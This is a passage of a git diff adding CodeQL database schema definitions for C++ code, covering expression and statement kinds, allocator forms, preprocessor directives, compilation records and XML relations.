+ | @assignorexpr
+ | @assignxorexpr
+ | @assignlshiftexpr
+ | @assignrshiftexpr
+ ;
+
+@assign_pointer_expr = @assignpaddexpr
+ | @assignpsubexpr
+ ;
+
+@assign_op_expr = @assign_arith_expr
+ | @assign_bitwise_expr
+ | @assign_pointer_expr
+ ;
+
+@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr
+
+/*
+ Binary encoding of the allocator form.
+
+ case @allocator.form of
+ 0 = plain
+ | 1 = alignment
+ ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+ unique int expr: @any_new_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/*
+ Binary encoding of the deallocator form.
+
+ case @deallocator.form of
+ 0 = plain
+ | 1 = size
+ | 2 = alignment
+ | 4 = destroying_delete
+ ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+ unique int expr: @new_or_delete_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+ unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+ unique int cond: @conditionalexpr ref,
+ int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+ unique int cond: @conditionalexpr ref,
+ int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+ unique int cond: @conditionalexpr ref,
+ int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+ unique int id: @value,
+ string str: string ref
+);
+
+/** The actual text in the source code for the value, if any. */
+valuetext(
+ unique int id: @value ref,
+ string text: string ref
+);
+
+valuebind(
+ int val: @value ref,
+ unique int expr: @expr ref
+);
+
+fieldoffsets(
+ unique int id: @variable ref,
+ int byteoffset: int ref,
+ int bitoffset: int ref
+);
+
+bitfield(
+ unique int id: @variable ref,
+ int bits: int ref,
+ int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+ int member: @expr ref,
+ int prefix: @expr ref
+);
+*/
+
+/*
+ kind(1) = mbrcallexpr
+ kind(2) = mbrptrcallexpr
+ kind(3) = mbrptrmbrcallexpr
+ kind(4) = ptrmbrptrmbrcallexpr
+ kind(5) = mbrreadexpr // x.y
+ kind(6) = mbrptrreadexpr // p->y
+ kind(7) = mbrptrmbrreadexpr // x.*pm
+ kind(8) = mbrptrmbrptrreadexpr // x->*pm
+ kind(9) = staticmbrreadexpr // static x.y
+ kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+ int member: @expr ref,
+ int kind: int ref
+);
+*/
+
+initialisers(
+ unique int init: @initialiser,
+ int var: @accessible ref,
+ unique int expr: @expr ref,
+ int location: @location_expr ref
+);
+
+braced_initialisers(
+ int init: @initialiser ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+ int exp: @expr ref,
+ int ancestor: @element ref
+);
+
+exprs(
+ unique int id: @expr,
+ int kind: int ref,
+ int location: @location_expr ref
+);
+
+expr_reuse(
+ int reuse: @expr ref,
+ int original: @expr ref,
+ int value_category: int ref
+)
+
+/*
+ case @value.category of
+ 1 = prval
+ | 2 = xval
+ | 3 = lval
+ ;
+*/
+expr_types(
+ int id: @expr ref,
+ int typeid: @type ref,
+ int value_category: int ref
+);
+
+case @expr.kind of
+ 1 = @errorexpr
+| 2 = @address_of // & AddressOfExpr
+| 3 = @reference_to // ReferenceToExpr (implicit?)
+| 4 = @indirect // * PointerDereferenceExpr
+| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+| 8 = @array_to_pointer // (???)
+| 9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+| 11 = @assume // Microsoft
+| 12 = @parexpr
+| 13 = @arithnegexpr
+| 14 = @unaryplusexpr
+| 15 = @complementexpr
+| 16 = @notexpr
+| 17 = @conjugation // GNU ~ operator
+| 18 = @realpartexpr // GNU __real
+| 19 = @imagpartexpr // GNU __imag
+| 20 = @postincrexpr
+| 21 = @postdecrexpr
+| 22 = @preincrexpr
+| 23 = @predecrexpr
+| 24 = @conditionalexpr
+| 25 = @addexpr
+| 26 = @subexpr
+| 27 = @mulexpr
+| 28 = @divexpr
+| 29 = @remexpr
+| 30 = @jmulexpr // C99 mul imaginary
+| 31 = @jdivexpr // C99 div imaginary
+| 32 = @fjaddexpr // C99 add real + imaginary
+| 33 = @jfaddexpr // C99 add imaginary + real
+| 34 = @fjsubexpr // C99 sub real - imaginary
+| 35 = @jfsubexpr // C99 sub imaginary - real
+| 36 = @paddexpr // pointer add (pointer + int or int + pointer)
+| 37 = @psubexpr // pointer sub (pointer - integer)
+| 38 = @pdiffexpr // difference between two pointers
+| 39 = @lshiftexpr
+| 40 = @rshiftexpr
+| 41 = @andexpr
+| 42 = @orexpr
+| 43 = @xorexpr
+| 44 = @eqexpr
+| 45 = @neexpr
+| 46 = @gtexpr
+| 47 = @ltexpr
+| 48 = @geexpr
+| 49 = @leexpr
+| 50 = @minexpr // GNU minimum
+| 51 = @maxexpr // GNU maximum
+| 52 = @assignexpr
+| 53 = @assignaddexpr
+| 54 = @assignsubexpr
+| 55 = @assignmulexpr
+| 56 = @assigndivexpr
+| 57 = @assignremexpr
+| 58 = @assignlshiftexpr
+| 59 = @assignrshiftexpr
+| 60 = @assignandexpr
+| 61 = @assignorexpr
+| 62 = @assignxorexpr
+| 63 = @assignpaddexpr // assign pointer add
+| 64 = @assignpsubexpr // assign pointer sub
+| 65 = @andlogicalexpr
+| 66 = @orlogicalexpr
+| 67 = @commaexpr
+| 68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ... 69 @objc_subscriptexpr deprecated
+// ... 70 @cmdaccess deprecated
+// ...
+| 73 = @virtfunptrexpr
+| 74 = @callexpr
+// ... 75 @msgexpr_normal deprecated
+// ... 76 @msgexpr_super deprecated
+// ... 77 @atselectorexpr deprecated
+// ... 78 @atprotocolexpr deprecated
+| 79 = @vastartexpr
+| 80 = @vaargexpr
+| 81 = @vaendexpr
+| 82 = @vacopyexpr
+// ... 83 @atencodeexpr deprecated
+| 84 = @varaccess
+| 85 = @thisaccess
+// ... 86 @objc_box_expr deprecated
+| 87 = @new_expr
+| 88 = @delete_expr
+| 89 = @throw_expr
+| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+| 91 = @braced_init_list
+| 92 = @type_id
+| 93 = @runtime_sizeof
+| 94 = @runtime_alignof
+| 95 = @sizeof_pack
+| 96 = @expr_stmt // GNU extension
+| 97 = @routineexpr
+| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
+| 99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+| 330 = @isassignable
+| 331 = @isaggregate
+| 332 = @hasuniqueobjectrepresentations
+| 333 = @builtinbitcast
+| 334 = @builtinshuffle
+| 335 = @blockassignexpr
+| 336 = @issame
+| 337 = @isfunction
+| 338 = @islayoutcompatible
+| 339 = @ispointerinterconvertiblebaseof
+| 340 = @isarray
+| 341 = @arrayrank
+| 342 = @arrayextent
+| 343 = @isarithmetic
+| 344 = @iscompletetype
+| 345 = @iscompound
+| 346 = @isconst
+| 347 = @isfloatingpoint
+| 348 = @isfundamental
+| 349 = @isintegral
+| 350 = @islvaluereference
+| 351 = @ismemberfunctionpointer
+| 352 = @ismemberobjectpointer
+| 353 = @ismemberpointer
+| 354 = @isobject
+| 355 = @ispointer
+| 356 = @isreference
+| 357 = @isrvaluereference
+| 358 = @isscalar
+| 359 = @issigned
+| 360 = @isunsigned
+| 361 = @isvoid
+| 362 = @isvolatile
+| 363 = @reuseexpr
+| 364 = @istriviallycopyassignable
+| 365 = @isassignablenopreconditioncheck
+| 366 = @referencebindstotemporary
+| 367 = @issameas
+| 368 = @builtinhasattribute
+| 369 = @ispointerinterconvertiblewithclass
+| 370 = @builtinispointerinterconvertiblewithclass
+| 371 = @iscorrespondingmember
+| 372 = @builtiniscorrespondingmember
+| 373 = @isboundedarray
+| 374 = @isunboundedarray
+| 375 = @isreferenceable
+| 378 = @isnothrowconvertible
+| 379 = @referenceconstructsfromtemporary
+| 380 = @referenceconvertsfromtemporary
+| 381 = @isconvertible
+| 382 = @isvalidwinrttype
+| 383 = @iswinclass
+| 384 = @iswininterface
+| 385 = @istriviallyequalitycomparable
+| 386 = @isscopedenum
+| 387 = @istriviallyrelocatable
+| 388 = @datasizeof
+| 389 = @c11_generic
+| 390 = @requires_expr
+| 391 = @nested_requirement
+| 392 = @compound_requirement
+| 393 = @concept_id
+;
+
+@var_args_expr = @vastartexpr
+ | @vaendexpr
+ | @vaargexpr
+ | @vacopyexpr
+ ;
+
+@builtin_op = @var_args_expr
+ | @noopexpr
+ | @offsetofexpr
+ | @intaddrexpr
+ | @hasassignexpr
+ | @hascopyexpr
+ | @hasnothrowassign
+ | @hasnothrowconstr
+ | @hasnothrowcopy
+ | @hastrivialassign
+ | @hastrivialconstr
+ | @hastrivialcopy
+ | @hastrivialdestructor
+ | @hasuserdestr
+ | @hasvirtualdestr
+ | @isabstractexpr
+ | @isbaseofexpr
+ | @isclassexpr
+ | @isconvtoexpr
+ | @isemptyexpr
+ | @isenumexpr
+ | @ispodexpr
+ | @ispolyexpr
+ | @isunionexpr
+ | @typescompexpr
+ | @builtinshufflevector
+ | @builtinconvertvector
+ | @builtinaddressof
+ | @istriviallyconstructibleexpr
+ | @isdestructibleexpr
+ | @isnothrowdestructibleexpr
+ | @istriviallydestructibleexpr
+ | @istriviallyassignableexpr
+ | @isnothrowassignableexpr
+ | @istrivialexpr
+ | @isstandardlayoutexpr
+ | @istriviallycopyableexpr
+ | @isliteraltypeexpr
+ | @hastrivialmoveconstructorexpr
+ | @hastrivialmoveassignexpr
+ | @hasnothrowmoveassignexpr
+ | @isconstructibleexpr
+ | @isnothrowconstructibleexpr
+ | @hasfinalizerexpr
+ | @isdelegateexpr
+ | @isinterfaceclassexpr
+ | @isrefarrayexpr
+ | @isrefclassexpr
+ | @issealedexpr
+ | @issimplevalueclassexpr
+ | @isvalueclassexpr
+ | @isfinalexpr
+ | @builtinchooseexpr
+ | @builtincomplex
+ | @isassignable
+ | @isaggregate
+ | @hasuniqueobjectrepresentations
+ | @builtinbitcast
+ | @builtinshuffle
+ | @issame
+ | @isfunction
+ | @islayoutcompatible
+ | @ispointerinterconvertiblebaseof
+ | @isarray
+ | @arrayrank
+ | @arrayextent
+ | @isarithmetic
+ | @iscompletetype
+ | @iscompound
+ | @isconst
+ | @isfloatingpoint
+ | @isfundamental
+ | @isintegral
+ | @islvaluereference
+ | @ismemberfunctionpointer
+ | @ismemberobjectpointer
+ | @ismemberpointer
+ | @isobject
+ | @ispointer
+ | @isreference
+ | @isrvaluereference
+ | @isscalar
+ | @issigned
+ | @isunsigned
+ | @isvoid
+ | @isvolatile
+ | @istriviallycopyassignable
+ | @isassignablenopreconditioncheck
+ | @referencebindstotemporary
+ | @issameas
+ | @builtinhasattribute
+ | @ispointerinterconvertiblewithclass
+ | @builtinispointerinterconvertiblewithclass
+ | @iscorrespondingmember
+ | @builtiniscorrespondingmember
+ | @isboundedarray
+ | @isunboundedarray
+ | @isreferenceable
+ | @isnothrowconvertible
+ | @referenceconstructsfromtemporary
+ | @referenceconvertsfromtemporary
+ | @isconvertible
+ | @isvalidwinrttype
+ | @iswinclass
+ | @iswininterface
+ | @istriviallyequalitycomparable
+ | @isscopedenum
+ | @istriviallyrelocatable
+ ;
+
+compound_requirement_is_noexcept(
+ int expr: @compound_requirement ref
+);
+
+new_allocated_type(
+ unique int expr: @new_expr ref,
+ int type_id: @type ref
+);
+
+new_array_allocated_type(
+ unique int expr: @new_array_expr ref,
+ int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_field_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int field: @membervariable ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_array_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int element_index: int ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+@ctorinit = @ctordirectinit
+ | @ctorvirtualinit
+ | @ctorfieldinit
+ | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+ | @dtorvirtualdestruct
+ | @dtorfielddestruct;
+
+
+condition_decl_bind(
+ unique int expr: @condition_decl ref,
+ unique int decl: @declaration ref
+);
+
+typeid_bind(
+ unique int expr: @type_id ref,
+ int type_id: @type ref
+);
+
+uuidof_bind(
+ unique int expr: @uuidof ref,
+ int type_id: @type ref
+);
+
+@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack;
+
+sizeof_bind(
+ unique int expr: @sizeof_or_alignof ref,
+ int type_id: @type ref
+);
+
+code_block(
+ unique int block: @literal ref,
+ unique int routine: @function ref
+);
+
+lambdas(
+ unique int expr: @lambdaexpr ref,
+ string default_capture: string ref,
+ boolean has_explicit_return_type: boolean ref
+);
+
+lambda_capture(
+ unique int id: @lambdacapture,
+ int lambda: @lambdaexpr ref,
+ int index: int ref,
+ int field: @membervariable ref,
+ boolean captured_by_reference: boolean ref,
+ boolean is_implicit: boolean ref,
+ int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+ | @new_expr
+ | @delete_expr
+ | @delete_array_expr
+ | @ctordirectinit
+ | @ctorvirtualinit
+ | @ctordelegatinginit
+ | @dtordirectdestruct
+ | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+ int expr: @foldexpr ref,
+ string operator: string ref,
+ boolean is_left_fold: boolean ref
+);
+
+stmts(
+ unique int id: @stmt,
+ int kind: int ref,
+ int location: @location_stmt ref
+);
+
+case @stmt.kind of
+ 1 = @stmt_expr
+| 2 = @stmt_if
+| 3 = @stmt_while
+| 4 = @stmt_goto
+| 5 = @stmt_label
+| 6 = @stmt_return
+| 7 = @stmt_block
+| 8 = @stmt_end_test_while // do { ... } while ( ... )
+| 9 = @stmt_for
+| 10 = @stmt_switch_case
+| 11 = @stmt_switch
+| 13 = @stmt_asm // "asm" statement or the body of an asm function
+| 15 = @stmt_try_block
+| 16 = @stmt_microsoft_try // Microsoft
+| 17 = @stmt_decl
+| 18 = @stmt_set_vla_size // C99
+| 19 = @stmt_vla_decl // C99
+| 25 = @stmt_assigned_goto // GNU
+| 26 = @stmt_empty
+| 27 = @stmt_continue
+| 28 = @stmt_break
+| 29 = @stmt_range_based_for // C++11
+// ... 30 @stmt_at_autoreleasepool_block deprecated
+// ... 31 @stmt_objc_for_in deprecated
+// ... 32 @stmt_at_synchronized deprecated
+| 33 = @stmt_handler
+// ... 34 @stmt_finally_end deprecated
+| 35 = @stmt_constexpr_if
+| 37 = @stmt_co_return
+| 38 = @stmt_consteval_if
+| 39 = @stmt_not_consteval_if
+;
+
+type_vla(
+ int type_id: @type ref,
+ int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+ int var: @variable ref,
+ int decl: @stmt_vla_decl ref
+);
+
+type_is_vla(unique int type_id: @derivedtype ref)
+
+if_initialization(
+ unique int if_stmt: @stmt_if ref,
+ int init_id: @stmt ref
+);
+
+if_then(
+ unique int if_stmt: @stmt_if ref,
+ int then_id: @stmt ref
+);
+
+if_else(
+ unique int if_stmt: @stmt_if ref,
+ int else_id: @stmt ref
+);
+
+constexpr_if_initialization(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int init_id: @stmt ref
+);
+
+constexpr_if_then(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int then_id: @stmt ref
+);
+
+constexpr_if_else(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int else_id: @stmt ref
+);
+
+@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if;
+
+consteval_if_then(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int then_id: @stmt ref
+);
+
+consteval_if_else(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int else_id: @stmt ref
+);
+
+while_body(
+ unique int while_stmt: @stmt_while ref,
+ int body_id: @stmt ref
+);
+
+do_body(
+ unique int do_stmt: @stmt_end_test_while ref,
+ int body_id: @stmt ref
+);
+
+switch_initialization(
+ unique int switch_stmt: @stmt_switch ref,
+ int init_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+ int switch_stmt: @stmt_switch ref,
+ int index: int ref,
+ int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+ unique int switch_stmt: @stmt_switch ref,
+ int body_id: @stmt ref
+);
+
+@stmt_for_or_range_based_for = @stmt_for
+ | @stmt_range_based_for;
+
+for_initialization(
+ unique int for_stmt: @stmt_for_or_range_based_for ref,
+ int init_id: @stmt ref
+);
+
+for_condition(
+ unique int for_stmt: @stmt_for ref,
+ int condition_id: @expr ref
+);
+
+for_update(
+ unique int for_stmt: @stmt_for ref,
+ int update_id: @expr ref
+);
+
+for_body(
+ unique int for_stmt: @stmt_for ref,
+ int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+ unique int id: @stmt ref,
+ int index: int ref,
+ int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl_entry: @element ref
+);
+
+@parameterized_element = @function | @stmt_block | @requires_expr;
+
+blockscope(
+ unique int block: @stmt_block ref,
+ int enclosing: @parameterized_element ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+ unique int id: @jumporlabel ref,
+ string str: string ref,
+ int target: @stmt ref
+);
+
+preprocdirects(
+ unique int id: @preprocdirect,
+ int kind: int ref,
+ int location: @location_default ref
+);
+case @preprocdirect.kind of
+ 0 = @ppd_if
+| 1 = @ppd_ifdef
+| 2 = @ppd_ifndef
+| 3 = @ppd_elif
+| 4 = @ppd_else
+| 5 = @ppd_endif
+| 6 = @ppd_plain_include
+| 7 = @ppd_define
+| 8 = @ppd_undef
+| 9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 14 = @ppd_ms_import
+| 15 = @ppd_elifdef
+| 16 = @ppd_elifndef
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef;
+
+preprocpair(
+ int begin : @ppd_branch ref,
+ int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
+ unique int id: @preprocdirect ref,
+ string head: string ref,
+ string body: string ref
+);
+
+includes(
+ unique int id: @ppd_include ref,
+ int included: @file ref
+);
+
+link_targets(
+ int id: @link_target,
+ int binary: @file ref
+);
+
+link_parent(
+ int element : @element ref,
+ int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+ unique int id: @xmldtd,
+ string root: string ref,
+ string publicId: string ref,
+ string systemId: string ref,
+ int fileid: @file ref
+);
+
+xmlElements(
+ unique int id: @xmlelement,
+ string name: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlAttrs(
+ unique int id: @xmlattribute,
+ int elementid: @xmlelement ref,
+ string name: string ref,
+ string value: string ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlNs(
+ int id: @xmlnamespace,
+ string prefixName: string ref,
+ string URI: string ref,
+ int fileid: @file ref
+);
+
+xmlHasNs(
+ int elementId: @xmlnamespaceable ref,
+ int nsId: @xmlnamespace ref,
+ int fileid: @file ref
+);
+
+xmlComments(
+ unique int id: @xmlcomment,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int fileid: @file ref
+);
+
+xmlChars(
+ unique int id: @xmlcharacters,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int isCDATA: int ref,
+ int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+ int xmlElement: @xmllocatable ref,
+ int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+ | @xmlelement
+ | @xmlcomment
+ | @xmlattribute
+ | @xmldtd
+ | @file
+ | @xmlnamespace;
diff --git a/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/semmlecode.cpp.dbscheme b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/semmlecode.cpp.dbscheme
new file mode 100644
index 00000000000..af887e83a81
--- /dev/null
+++ b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/semmlecode.cpp.dbscheme
@@ -0,0 +1,2492 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+ /**
+ * An invocation of the compiler. Note that more than one file may
+ * be compiled per invocation. For example, this command compiles
+ * three source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ */
+ unique int id : @compilation,
+ string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | *path to extractor*
+ * 1 | `--mimic`
+ * 2 | `/usr/bin/gcc`
+ * 3 | `-c`
+ * 4 | f1.c
+ * 5 | f2.c
+ * 6 | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+ int id : @compilation ref,
+ int num : int ref,
+ string arg : string ref
+);
+
+/**
+ * Optionally, record the build mode for each compilation.
+ */
+compilation_build_mode(
+ unique int id : @compilation ref,
+ int mode : int ref
+);
+
+/*
+case @compilation_build_mode.mode of
+ 0 = @build_mode_none
+| 1 = @build_mode_manual
+| 2 = @build_mode_auto
+;
+*/
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | f1.c
+ * 1 | f2.c
+ * 2 | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+ int id : @compilation ref,
+ int num : int ref,
+ int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1 | CPU seconds used by the extractor frontend
+ * 2 | Elapsed seconds during the extractor frontend
+ * 3 | CPU seconds used by the extractor backend
+ * 4 | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+ int id : @compilation ref,
+ int num : int ref,
+ /* kind:
+ 1 = frontend_cpu_seconds
+ 2 = frontend_elapsed_seconds
+ 3 = extractor_cpu_seconds
+ 4 = extractor_elapsed_seconds
+ */
+ int kind : int ref,
+ float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+ int diagnostic : @diagnostic ref,
+ int compilation : @compilation ref,
+ int file_number : int ref,
+ int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+ unique int id : @compilation ref,
+ float cpu_seconds : float ref,
+ float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+ int id : @externalDataElement,
+ string path : string ref,
+ int column: int ref,
+ string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+ unique int id: @external_package,
+ string namespace : string ref,
+ string package_name : string ref,
+ string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+ int fileid : @file ref,
+ int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+ unique int id : @svnentry,
+ string revision : string ref,
+ string author : string ref,
+ date revisionDate : date ref,
+ int changeSize : int ref
+)
+
+svnaffectedfiles(
